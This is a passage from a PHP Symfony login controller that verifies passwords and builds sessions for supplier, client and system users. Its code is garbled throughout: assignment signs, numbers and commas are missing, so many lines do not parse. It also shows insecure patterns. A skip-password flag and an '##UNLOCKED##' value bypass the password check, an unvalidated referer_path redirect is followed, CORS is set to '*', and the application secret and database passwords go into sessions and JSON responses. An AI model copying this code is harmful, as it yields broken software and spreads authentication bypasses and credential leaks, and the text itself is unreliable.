  2070.                                 ]);
  2071.                             else if ($systemType == '_SOPHIA_')
  2072.                                 return $this->redirectToRoute("sophia_login", [
  2073.                                     "message" => $message,
  2074.                                     "errorField" => 'username',
  2075.                                 ]);
  2076.                             else
  2077.                                 return $this->render($redirect_login_page_twig, array(
  2078.                                     "message" => $message,
  2079.                                     'page_title' => "Login",
  2080.                                     'gocList' => $gocDataList,
  2081.                                     'gocId' => $gocId
  2082.                                 ));
  2083.                         }
  2084.                         if ($user) {
  2085.                             if ($oAuthData) {
  2086.                                 // user passed
  2087.                             } else {
  2088.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2089.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2090. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2091. //                                        // user passed
  2092. //                                    } else {
  2093.                                     $message "Oops! Wrong Password";
  2094.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2095.                                         return new JsonResponse(array(
  2096.                                             'uid' => $session->get(UserConstants::USER_ID),
  2097.                                             'session' => $session,
  2098.                                             'success' => false,
  2099.                                             'errorStr' => $message,
  2100.                                             'session_data' => [],
  2101.                                         ));
  2102.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2103.                                         //                    return $response;
  2104.                                     }
  2105.                                     if ($systemType == '_BUDDYBEE_')
  2106.                                         return $this->redirectToRoute("applicant_login", [
  2107.                                             "message" => $message,
  2108.                                             "errorField" => 'password',
  2109.                                         ]);
  2110.                                     else if ($systemType == '_CENTRAL_')
  2111.                                         return $this->redirectToRoute("central_login", [
  2112.                                             "message" => $message,
  2113.                                             "errorField" => 'username',
  2114.                                         ]);
  2115.                                     else if ($systemType == '_SOPHIA_')
  2116.                                         return $this->redirectToRoute("sophia_login", [
  2117.                                             "message" => $message,
  2118.                                             "errorField" => 'username',
  2119.                                         ]);
  2120.                                     else
  2121.                                         return $this->render($redirect_login_page_twig, array(
  2122.                                             "message" => $message,
  2123.                                             'page_title' => "Login",
  2124.                                             'gocList' => $gocDataList,
  2125.                                             'gocId' => $gocId
  2126.                                         ));
  2127.                                 }
  2128.                             }
  2129.                         }
  2130.                         $jd = [];
  2131.                         if ($jd != null && $jd != '' && $jd != [])
  2132.                             $company_id_list $jd;
  2133.                         else
  2134.                             $company_id_list = [];
  2135. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2136. //                        foreach ($company_id_list as $c) {
  2137. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2138. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2139. //                        }
  2140.                     };
  2141.                 } else {
  2142.                     if ($cookieLogin == 1) {
  2143.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2144.                             array(
  2145.                                 'userId' => $userId
  2146.                             )
  2147.                         );
  2148.                     } else if ($encrypedLogin == 1) {
  2149.                         if (in_array($userType, [34]))
  2150.                             $specialLogin 1;
  2151.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2152.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2153.                                 array(
  2154.                                     'globalUserId' => $globalId
  2155.                                 )
  2156.                             );
  2157. //
  2158.                             if ($user)
  2159.                                 $userId $user->getClientId();
  2160.                             $clientId $userId;
  2161.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2162.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2163.                                 array(
  2164.                                     'globalUserId' => $globalId
  2165.                                 )
  2166.                             );
  2167. //
  2168.                             if ($user)
  2169.                                 $userId $user->getSupplierId();
  2170.                             $supplierId $userId;
  2171.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2172. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2173. //                                array(
  2174. //                                    'globalId' => $globalId
  2175. //                                )
  2176. //                            );
  2177. //
  2178. //                            if($user)
  2179. //                                $userId=$user->getUserId();
  2180. //                            $applicantId = $userId;
  2181.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2182.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2183.                                 array(
  2184.                                     'globalId' => $globalId
  2185.                                 )
  2186.                             );
  2187.                             if ($user)
  2188.                                 $userId $user->getUserId();
  2189.                         }
  2190.                     } else {
  2191.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2192.                             array(
  2193.                                 'userName' => $request->request->get('username')
  2194.                             )
  2195.                         );
  2196.                     }
  2197.                     if (!$user) {
  2198.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2199.                             array(
  2200.                                 'email' => $request->request->get('username'),
  2201.                                 'userName' => [null'']
  2202.                             )
  2203.                         );
  2204.                         if (!$user) {
  2205.                             $message "Wrong User Name";
  2206.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2207.                                 return new JsonResponse(array(
  2208.                                     'uid' => $session->get(UserConstants::USER_ID),
  2209.                                     'session' => $session,
  2210.                                     'success' => false,
  2211.                                     'errorStr' => $message,
  2212.                                     'session_data' => [],
  2213.                                 ));
  2214.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2215.                                 //                    return $response;
  2216.                             }
  2217.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2218.                                 "message" => $message,
  2219.                                 'page_title' => "Login",
  2220.                                 'gocList' => $gocDataList,
  2221.                                 'gocId' => $gocId
  2222.                             ));
  2223.                         } else {
  2224.                             //add the email as username as failsafe
  2225.                             $user->setUserName($request->request->get('username'));
  2226.                             $em->flush();
  2227.                         }
  2228.                     }
  2229.                     if ($user) {
  2230.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2231.                             $message "Sorry, Your Account is Deactivated";
  2232.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2233.                                 return new JsonResponse(array(
  2234.                                     'uid' => $session->get(UserConstants::USER_ID),
  2235.                                     'session' => $session,
  2236.                                     'success' => false,
  2237.                                     'errorStr' => $message,
  2238.                                     'session_data' => [],
  2239.                                 ));
  2240.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2241.                                 //                    return $response;
  2242.                             }
  2243.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2244.                                 "message" => $message,
  2245.                                 'page_title' => "Login",
  2246.                                 'gocList' => $gocDataList,
  2247.                                 'gocId' => $gocId
  2248.                             ));
  2249.                         }
  2250.                     }
  2251.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2252.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2253.                         $message "Wrong Email/Password";
  2254.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2255.                             return new JsonResponse(array(
  2256.                                 'uid' => $session->get(UserConstants::USER_ID),
  2257.                                 'session' => $session,
  2258.                                 'success' => false,
  2259.                                 'errorStr' => $message,
  2260.                                 'session_data' => [],
  2261.                             ));
  2262.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2263.                             //                    return $response;
  2264.                         }
  2265.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2266.                             "message" => $message,
  2267.                             'page_title' => "Login",
  2268.                             'gocList' => $gocDataList,
  2269.                             'gocId' => $gocId
  2270.                         ));
  2271.                     }
  2272.                     $userType $user->getUserType();
  2273.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2274.                     if ($jd != null && $jd != '' && $jd != [])
  2275.                         $company_id_list $jd;
  2276.                     else
  2277.                         $company_id_list = [$user->getUserCompanyId()];
  2278.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2279.                     foreach ($company_id_list as $c) {
  2280.                         if (isset($companyList[$c])) {
  2281.                             $company_name_list[$c] = $companyList[$c]['name'];
  2282.                             $company_image_list[$c] = $companyList[$c]['image'];
  2283.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2284.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2285.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2286.                         }
  2287.                     }
  2288.                 }
  2289. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2290.                 if ($remember_me == 1)
  2291.                     $session->set('REMEMBERME'1);
  2292.                 else
  2293.                     $session->set('REMEMBERME'0);
  2294.                 $config = array(
  2295.                     'firstLogin' => $firstLogin,
  2296.                     'rememberMe' => $remember_me,
  2297.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2298.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2299.                     'applicationSecret' => $this->container->getParameter('secret'),
  2300.                     'gocId' => $gocId,
  2301.                     'appId' => $appIdFromUserName,
  2302.                     'gocDbName' => $gocDbName,
  2303.                     'gocDbUser' => $gocDbUser,
  2304.                     'gocDbHost' => $gocDbHost,
  2305.                     'gocDbPass' => $gocDbPass
  2306.                 );
  2307.                 $product_name_display_type 0;
  2308.                 if ($systemType != '_CENTRAL_') {
  2309.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2310.                         'name' => 'product_name_display_method'
  2311.                     ));
  2312.                     if ($product_name_display_settings)
  2313.                         $product_name_display_type $product_name_display_settings->getData();
  2314.                 }
  2315.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2316.                     $userCompanyId 1;
  2317.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2318.                     if (isset($companyList[$userCompanyId])) {
  2319.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2320.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2321.                         $company_locale $companyList[$userCompanyId]['locale'];
  2322.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2323.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2324.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2325.                     }
  2326.                     // General User
  2327.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2328.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2329.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2330.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2331.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2332.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2333.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2334.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2335.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2336.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2337.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2338.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2339.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2340.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2341.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2342.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2343.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2344.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2345.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2346.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2347.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2348.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2349.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2350.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2351.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2352.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2353.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2354.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2355.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2356.                     //                $PL=json_decode($user->getPositionIds(), true);
  2357.                     $route_list_array = [];
  2358.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2359.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2360.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2361.                     $loginID 0;
  2362.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2363.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2364.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2365.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2366.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2367.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2368.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2369.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2370.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2371.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2372.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2373.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2374.                         $session->set('remoteVerified'1);
  2375.                         $session_data = array(
  2376.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2377.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2378.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2379.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2380.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2381.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2382.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2383.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2384.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2385.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2386.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2387.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2388.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2389.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2390.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2391.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2392.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2393.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2394.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2395.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2396.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2397.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2398.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2399.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2400.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2401.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2402.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2403.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2404.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2405.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2406.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2407.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2408.                         );
  2409.                         $session_data $this->filterClientSessionData($session_data);
  2410.                         $response = new JsonResponse(array(
  2411.                             'uid' => $session->get(UserConstants::USER_ID),
  2412.                             'session' => $session,
  2413.                             'success' => true,
  2414.                             'session_data' => $session_data,
  2415.                         ));
  2416.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2417.                         return $response;
  2418.                     }
  2419.                     if ($request->request->has('referer_path')) {
  2420.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2421.                             return $this->redirect($request->request->get('referer_path'));
  2422.                         }
  2423.                     }
  2424.                     //                    if($request->request->has('gocId')
  2425.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2426.                     return $this->redirectToRoute("supplier_dashboard");
  2427.                     //                    else
  2428.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2429.                 }
  2430.                 else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2431.                     // General User
  2432.                     $userCompanyId 1;
  2433.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2434.                     if (isset($companyList[$userCompanyId])) {
  2435.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2436.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2437.                         $company_locale $companyList[$userCompanyId]['locale'];
  2438.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2439.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2440.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2441.                     }
  2442.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2443.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2444.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2445.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2446.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2447.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2448.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2449.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2450.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2451.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2452.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2453.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2454.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2455.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2456.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2457.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2458.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2459.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2460.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2461.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2462.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2463.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2464.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2465.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2466.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2467.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2468.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2469.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2470.                     //                $PL=json_decode($user->getPositionIds(), true);
  2471.                     $route_list_array = [];
  2472.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2473.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2474.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2475.                     $loginID 0;
  2476.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2477.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2478.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2479.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2480.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2481.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2482.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2483.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2484.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2485.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2486.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2487.                     $session_data = array(
  2488.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2489.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2490.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2491.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2492.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2493.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2494.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2495.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2496.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2497.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2498.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2499.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2500.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2501.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2502.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2503.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2504.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2505.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2506.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2507.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2508.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2509.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2510.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2511.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2512.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2513.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2514.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2515.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2516.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2517.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2518.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2519.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2520.                     );
  2521.                     $session_data $this->filterClientSessionData($session_data);
  2522.                     $session_data $this->filterClientSessionData($session_data);
  2523.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2524.                     $session_data $tokenData['sessionData'];
  2525.                     $token $tokenData['token'];
  2526.                     $session->set('token'$token);
  2527.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2528.                         $session->set('remoteVerified'1);
  2529.                         $response = new JsonResponse(array(
  2530.                             'uid' => $session->get(UserConstants::USER_ID),
  2531.                             'session' => $session,
  2532.                             'token' => $token,
  2533.                             'success' => true,
  2534.                             'session_data' => $session_data,
  2535.                         ));
  2536.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2537.                         return $response;
  2538.                     }
  2539.                     if ($request->request->has('referer_path')) {
  2540.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2541.                             return $this->redirect($request->request->get('referer_path'));
  2542.                         }
  2543.                     }
  2544.                     //                    if($request->request->has('gocId')
  2545.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2546.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2547.                     //                    else
  2548.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2549.                 }
  2550.                 else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2551.                     // System administrator
  2552.                     // System administrator have successfully logged in. Lets add a login ID.
  2553.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2554.                         ->findOneBy(
  2555.                             array(
  2556.                                 'userId' => $user->getUserId()
  2557.                             )
  2558.                         );
  2559.                     if ($employeeObj) {
  2560.                         $employeeId $employeeObj->getEmployeeId();
  2561.                         $epositionId $employeeObj->getPositionId();
  2562.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2563.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2564.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2565.                     }
  2566.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2567.                         ->findOneBy(
  2568.                             array(
  2569.                                 'userId' => $user->getUserId(),
  2570.                                 'workingStatus' => 1
  2571.                             )
  2572.                         );
  2573.                     if ($currentTask) {
  2574.                         $currentTaskId $currentTask->getId();
  2575.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2576.                     }
  2577.                     $userId $user->getUserId();
  2578.                     $userCompanyId 1;
  2579.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2580.                     $userEmail $user->getEmail();
  2581.                     $userImage $user->getImage();
  2582.                     $userFullName $user->getName();
  2583.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2584.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2585.                     $position_list_array json_decode($user->getPositionIds(), true);
  2586.                     if ($position_list_array == null$position_list_array = [];
  2587.                     $filtered_pos_array = [];
  2588.                     foreach ($position_list_array as $defPos)
  2589.                         if ($defPos != '' && $defPos != 0)
  2590.                             $filtered_pos_array[] = $defPos;
  2591.                     $position_list_array $filtered_pos_array;
  2592.                     if (!empty($position_list_array))
  2593.                         $curr_position_id $position_list_array[0];
  2594.                     $userDefaultRoute $user->getDefaultRoute();
  2595. //                    $userDefaultRoute = 'MATHA';
  2596.                     $allModuleAccessFlag 1;
  2597.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2598.                         $userDefaultRoute '';
  2599. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2600.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2601.                     if (isset($companyList[$userCompanyId])) {
